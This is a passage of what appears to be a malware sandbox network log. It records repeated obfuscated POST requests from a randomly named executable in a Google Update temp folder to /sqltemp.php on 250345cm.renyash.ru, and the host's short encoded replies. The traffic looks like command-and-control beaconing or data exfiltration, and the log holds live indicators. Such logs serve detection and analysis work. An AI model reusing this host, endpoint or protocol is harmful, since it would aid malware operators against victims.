Jan 1, 2025 16:02:39.299036026 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:39.657166004 CET	1124	OUT	Data Raw: 56 56 5a 53 54 5b 51 57 58 56 52 59 56 58 59 53 5b 5e 54 5f 55 5b 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VVZST[QWXVRYVXYS[^T_U[PUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._&<:#,>0=;A,4-8X+=.<!1+[+*%?:&Y.,Y-%
Jan 1, 2025 16:02:39.742878914 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:40.016599894 CET	803	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7%2FVoF1pwuUWsnpiJB2q7FdLIMqTRdpTpvWUV8UsDCzH3HSPc4sWh5p69IPm9zdS6ELP76xN%2FCs2Tzp8b3AkqhFTyyvOqyxeOJfa1qWA7hPQhx83dZ1hOKhVhKxDoYpCd1Eyer3uc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364421e91c333-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2460&min_rtt=1691&rtt_var=2172&sent=4&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=186105&cwnd=142&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	62583	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:40.146033049 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:40.501323938 CET	1124	OUT	Data Raw: 56 52 5f 51 54 5c 51 55 58 56 52 59 56 5b 59 54 5b 53 54 59 55 59 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_QT\QUXVRYV[YT[STYUYP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$Y5]7=_0.3@/\=V#.8<S)8!"+]<.%'.&Y.,Y-)
Jan 1, 2025 16:02:40.589988947 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:40.839793921 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Iqssxt3s%2BUx2uWr9bV6ALUAoMtSIptaANKMYaMvvygSXz6RsszSJihbKPJTfzkJYC6rXl8srrpweeH0BjJvs%2BUOFVYQcSfRQZqhLEpA8P8knqZSeAH3b3a%2BwizwvwQ%2BJnHGg5Zg%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364476edd0c78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2268&min_rtt=1645&rtt_var=1864&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=220045&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	62589	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:40.975280046 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:41.328991890 CET	1124	OUT	Data Raw: 53 54 5f 50 51 5c 54 50 58 56 52 59 56 5b 59 50 5b 5d 54 5d 55 5e 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: ST_PQ\TPXVRYV[YP[]T]U^PYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$/7<.%>'A;- -$^?9#S). ?Z+;&,#U,*&Y.,Y-)
Jan 1, 2025 16:02:41.429148912 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:41.596493959 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6LFymUaa%2BZDv%2FFvq8cYCutN4CUOWFJDgu0cFS3zYpv3s4ucLD26OLJyDVga6bmUTQ0CPy35hR7croIJa7JCueo0RXPnMtlqhUJbnBvo3Fl4T0Gn1YbrDzRRosHhAiENssNyW0lI8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3644cad8042d0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4207&min_rtt=1733&rtt_var=5599&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=67809&cwnd=206&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	62595	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:41.723901987 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:42.078960896 CET	1124	OUT	Data Raw: 56 50 5a 51 51 5b 51 51 58 56 52 59 56 51 59 52 5b 5a 54 5e 55 5a 50 59 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VPZQQ[QQXVRYVQYR[ZT^UZPYZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y&/X7<&'X8,)>#[$X+*#>;7T0<;>&?.:&Y.,Y-
Jan 1, 2025 16:02:42.169867039 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:42.434268951 CET	800	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OOhsD2jAaorM8kDEXnOUhnIEWqEEKoXrjbFqikENBRn1s1oOUyYfDqfijuTFQcg9JK9oxM4irlEvlNqgpVIhdzE25nfcEzW4ZoOw1YBeGBTf6os%2FjUsnoCZGiqUZMHBjY4nEQatS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3645149961865-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1614&min_rtt=1514&rtt_var=769&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=629581&cwnd=194&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	62601	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:42.575678110 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:42.923135996 CET	1124	OUT	Data Raw: 53 50 5a 53 54 5e 51 55 58 56 52 59 56 58 59 5e 5b 59 54 51 55 5f 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SPZST^QUXVRYVXY^[YTQU_P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S._'&7!Y'.'A82!.,X?$(>+ "<%#S.*&Y.,Y-%
Jan 1, 2025 16:02:43.022933960 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:43.192013979 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eCIMRvirtoRT0rPXF90OoytEvUqe7SyF1QH9SNg3qHy9O8cf4q5OvpOYyIH7oFb%2Bz6Wcfmh03vx%2BBOWMGtZoP%2BCaz4vI2FdNkUxc43htb2QFNxukalnne%2BrQjwNT2E4%2BvjL5kVni"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364569f5b7ce8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8321&min_rtt=2005&rtt_var=13384&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=27790&cwnd=199&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.6	62607	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:43.326776028 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:43.672934055 CET	1124	OUT	Data Raw: 53 55 5a 57 54 5d 51 55 58 56 52 59 56 5b 59 56 5b 5b 54 5e 55 5c 50 55 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SUZWT]QUXVRYV[YV[[T^U\PUZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$."/%'-(;14=3(;V=.!2 ?5B14-&Y.,Y-)
Jan 1, 2025 16:02:43.790270090 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:44.058361053 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zMA7eegZzF4u6wmb%2FQiPOB2ShYcISg3ByMF1qsbFcFBH1mf1SKC7q%2BlCXg0vprObMtGrBve9UeZvqJfkgeXaImNlVJ1SOckzHEoPrGJqxR2BCQ1nPFbyvjgU7JQf27T2aZd6gSef"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3645b6d4243b1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4630&min_rtt=2187&rtt_var=5707&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=67172&cwnd=31&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.6	62613	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:44.192681074 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:44.547753096 CET	1124	OUT	Data Raw: 53 50 5f 5c 54 5e 54 52 58 56 52 59 56 58 59 50 5b 59 54 5b 55 54 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SP_\T^TRXVRYVXYP[YT[UTP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$/] 20'E.* #+(>>8X7(?9%?4::&Y.,Y-%
Jan 1, 2025 16:02:44.646042109 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:44.903242111 CET	811	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sj2w7iZEcQ5WWg8j0LxsYyoNZsV%2Fj%2FTNMWXpYHSS%2BCXxyaxMfDmB3Zc%2FxF6g5UpvkEEzkDBNLk7j4g5bcnVweD9iE9pIrKXNzJHdY1TSFKp6%2FFjYxQSx8lEt%2F61ItAZ2DlXSyFyi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb36460b98b7d00-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8550&min_rtt=1977&rtt_var=13888&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=26758&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.6	62619	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:44.964205980 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:45.324645996 CET	1964	OUT	Data Raw: 53 55 5f 56 51 58 54 50 58 56 52 59 56 5a 59 56 5b 5c 54 5f 55 54 50 5d 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SU_VQXTPXVRYVZYV[\T_UTP]Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.'<)Z"/)_37A;& [/?)+W4]#"\((51,?-&Y.,Y--
Jan 1, 2025 16:02:45.427402020 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:45.699793100 CET	960	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZPOxsR9%2FF9yiPQ8u1ZX4ToKzdpTqlJdwvr0F%2FuI9pp5qOjYrzeAx3D318vIl9N6C4yfuf6khHACSxOc%2FachYyGirWoNhjSzYOmu7fuz%2F1%2B0YVF5o4hT5rv7AZn%2BXaADZPJ20Atf0"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364659cecc3f5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2713&min_rtt=1539&rtt_var=2926&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2266&delivery_rate=133528&cwnd=221&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 25 55 3d 3d 2e 1c 26 54 33 04 3c 3d 06 0b 26 3d 35 01 3c 3b 26 15 27 3e 38 03 3d 29 24 02 21 2c 21 58 26 5e 3b 07 20 03 37 5b 27 34 2b 59 05 1c 20 42 36 2f 02 1c 3d 2d 09 5d 32 3f 03 5d 33 2e 38 5d 28 38 34 57 22 2b 01 1d 30 13 38 1e 3e 04 06 1f 27 3c 33 5b 39 3f 29 54 30 3a 2c 54 00 11 25 0f 24 0f 3b 06 20 24 24 12 35 31 3d 10 32 27 36 56 26 2f 3c 0b 37 3a 39 00 31 31 3f 13 22 20 3d 00 31 15 25 11 21 3e 23 18 29 04 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98%U==.&T3<=&=5<;&'>8=)$!,!X&^; 7['4+Y B6/=-]2?]3.8](84W"+08>'<3[9?)T0:,T%$; $$51=2'6V&/<7:911?" =1%!>#)%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	62620	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:45.036222935 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:45.391571045 CET	1124	OUT	Data Raw: 53 55 5f 5d 54 5c 54 55 58 56 52 59 56 50 59 50 5b 5d 54 51 55 5f 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SU_]T\TUXVRYVPYP[]TQU_P_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.3?% :'.(,=T4>3<90=>+!2<(861/#U.&Y.,Y-
Jan 1, 2025 16:02:45.490514994 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:45.778443098 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Bue5ZeOFwMIieGE17Ebw0lUMq0u%2BpC75yOQp9GKCKi1OcAh6Tmp9bTIQW%2FzwVO3V27MUOHWfSgNuvWyLWDm5ECDHdSS10DD%2Bf9MEaYvDxunNKoM8DcEyz0MmCfA5iVgLM1tR5M%2Bi"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb364660cd242b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4502&min_rtt=1879&rtt_var=5951&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=63855&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.6	62626	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:45.913611889 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:46.266894102 CET	1124	OUT	Data Raw: 53 55 5f 51 54 51 51 52 58 56 52 59 56 5e 59 55 5b 52 54 50 55 5a 50 5b 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: SU_QTQQRXVRYV^YU[RTPUZP[Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y&,=]"?!^%>;>7<7)- Z4! (+=C&,$::&Y.,Y-
Jan 1, 2025 16:02:46.357459068 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:46.621115923 CET	801	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jnbsrAdTorrck3nUDo6IEVckf4OQnTnCA03prLBks4YQMNcceIiRH8uS%2FjWC70jKLTFwuLEjLDV6RMSGKB6nRF47pwkcUGtqky1hw1CC01wT0mesORzFXbZFp7gxrxz85lnbQoSr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3646b7c73efa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2032&min_rtt=1885&rtt_var=1001&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=476656&cwnd=190&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.6	62632	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
